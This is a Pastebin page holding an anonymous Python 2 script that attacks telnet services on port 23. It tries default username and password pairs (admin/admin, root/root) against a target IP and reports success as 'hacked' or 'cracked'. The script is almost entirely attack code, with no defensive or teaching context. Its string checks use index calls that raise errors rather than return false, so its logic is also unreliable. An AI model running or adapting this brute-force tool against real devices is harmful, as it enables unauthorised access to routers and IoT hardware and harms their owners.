Advertisement
Guest User

Untitled

a guest
Jan 4th, 2018
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.32 KB | None | 0 0
  1. import socket, random, sys, time
  2. if len(sys.argv)<2:
  3.     print "Usage: "+str(sys.argv[0])+" <ip>"
  4.     sys.exit(0)
  5.  
  6. ip=str(sys.argv[1])
  7. def createConnection(ip,port):
  8.     sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  9.     sock.settimeout(5)
  10.     sock.connect((ip,port))
  11.     return sock
  12.  
  13. def isLoginRequired(data):
  14.     return (data.index("Username:")>0 or data.index("username:")>0 or data.index("Login:")>0 or data.index("login:")>0)
  15.  
  16. def isHacked(data):
  17.     return (not (data.index("ailed")>0 or data.index("nvalid")>0))
  18.  
  19. cracked=False
  20. hash=[]
  21. hash.append(('admin','admin'))
  22. hash.append(('root','root'))
  23. index=0
  24. while cracked!=True:
  25.     try:
  26.         sock=createConnection(ip,23)
  27.         time.sleep(1)
  28.         data=sock.recv(1024)
  29.         user=hash[index][0]
  30.         password=hash[index][1]
  31.         if isLoginRequired(data):
  32.             sock.send(user+"\r\n")
  33.             print "\033[32;2mlogin sent "+user+"\033[0m"
  34.             time.sleep(1)
  35.             data=sock.recv(1024)
  36.             if data.index("Password:")>0 or data.index("password:")>0:
  37.                 print "\033[32;2msending password ("+password+")...\033[0m"
  38.                 sock.send(password+"\r\n")
  39.                 data=sock.recv(1024)
  40.             if isHacked(data):
  41.                 print data
  42.                 cracked=True
  43.         else:
  44.             print data
  45.             cracked=True
  46.         sock.close()
  47.         index=index+1
  48.         if index==len(hash):
  49.             break
  50.     except KeyboardInterrupt, SystemExit:
  51.         sys.exit(0)
  52.     except:
  53.         print "error"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement